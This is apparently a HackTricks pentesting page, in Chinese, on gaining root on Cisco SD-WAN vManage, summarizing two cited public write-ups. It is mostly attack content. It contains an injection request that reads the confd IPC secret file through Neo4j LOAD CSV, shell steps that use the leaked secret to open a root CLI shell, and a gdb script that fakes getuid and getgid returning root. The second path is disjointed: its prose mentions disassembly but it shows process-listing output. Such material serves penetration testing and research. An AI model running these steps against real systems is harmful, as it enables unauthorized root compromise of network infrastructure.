Cisco - vmanage

Tip

学习和实践 AWS 黑客技术：HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术：HackTricks Training GCP Red Team Expert (GRTE) 学习和实践 Azure 黑客技术：HackTricks Training Azure Red Team Expert (AzRTE)

支持 HackTricks

• 查看 订阅计划!
• 加入 💬 Discord 群组 或 Telegram 群组 或 在 Twitter 🐦 上关注我们 @hacktricks_live.
• 通过向 HackTricks 和 HackTricks Cloud GitHub 仓库提交 PR 来分享黑客技巧。

路径 1

(示例来自 https://www.synacktiv.com/en/publications/pentesting-cisco-sd-wan-part-1-attacking-vmanage.html)

在查看了一些与 confd 和不同二进制文件相关的 documentation（可通过 Cisco 网站的账户访问）之后，我们发现为了对 IPC socket 进行认证，它使用了位于 /etc/confd/confd_ipc_secret 的一个 secret：

vmanage:~$ ls -al /etc/confd/confd_ipc_secret

-rw-r----- 1 vmanage vmanage 42 Mar 12 15:47 /etc/confd/confd_ipc_secret

还记得我们的 Neo4j 实例吗？它在 vmanage 用户权限下运行，因此允许我们利用之前的漏洞检索该文件：

GET /dataservice/group/devices?groupId=test\\\'<>\"test\\\\")+RETURN+n+UNION+LOAD+CSV+FROM+\"file:///etc/confd/confd_ipc_secret\"+AS+n+RETURN+n+//+' HTTP/1.1

Host: vmanage-XXXXXX.viptela.net



[...]

"data":[{"n":["3708798204-3215954596-439621029-1529380576"]}]}

confd_cli 程序不支持命令行参数，但会以参数调用 /usr/bin/confd_cli_user。因此，我们可以直接用自己的参数调用 /usr/bin/confd_cli_user。然而以当前权限无法读取它，所以必须从 rootfs 中取出并用 scp 复制，查看帮助，然后用它获取 shell：

vManage:~$ echo -n "3708798204-3215954596-439621029-1529380576" > /tmp/ipc_secret

vManage:~$ export CONFD_IPC_ACCESS_FILE=/tmp/ipc_secret

vManage:~$ /tmp/confd_cli_user -U 0 -G 0

Welcome to Viptela CLI

admin connected from 127.0.0.1 using console on vManage

vManage# vshell

vManage:~# id

uid=0(root) gid=0(root) groups=0(root)

路径 2

(示例来自 https://medium.com/walmartglobaltech/hacking-cisco-sd-wan-vmanage-19-2-2-from-csrf-to-remote-code-execution-5f73e2913e77)

该由 synacktiv 团队撰写的博客¹ 描述了一种获得 root shell 的优雅方法，但缺点是它需要获取 /usr/bin/confd_cli_user 的副本，而该文件只有 root 可读。我找到了另一种无需此麻烦即可提权到 root 的方法。

当我反汇编 /usr/bin/confd_cli 二进制文件时，我观察到如下：

vmanage:~$ ps aux
… snipped …
root     28644  0.0  0.0   8364   652 ?        Ss   18:06   0:00 /usr/lib/confd/lib/core/confd/priv/cmdptywrapper -I 127.0.0.1 -p 4565 -i 1015 -H /home/neteng -N neteng -m 2232 -t xterm-256color -U 1358 -w 190 -h 43 -c /home/neteng -g 100 -u 1007 bash
… snipped …

set environment USER=root
define root
finish
set $rax=0
continue
end
break getuid
commands
root
end
break getgid
commands
root
end
run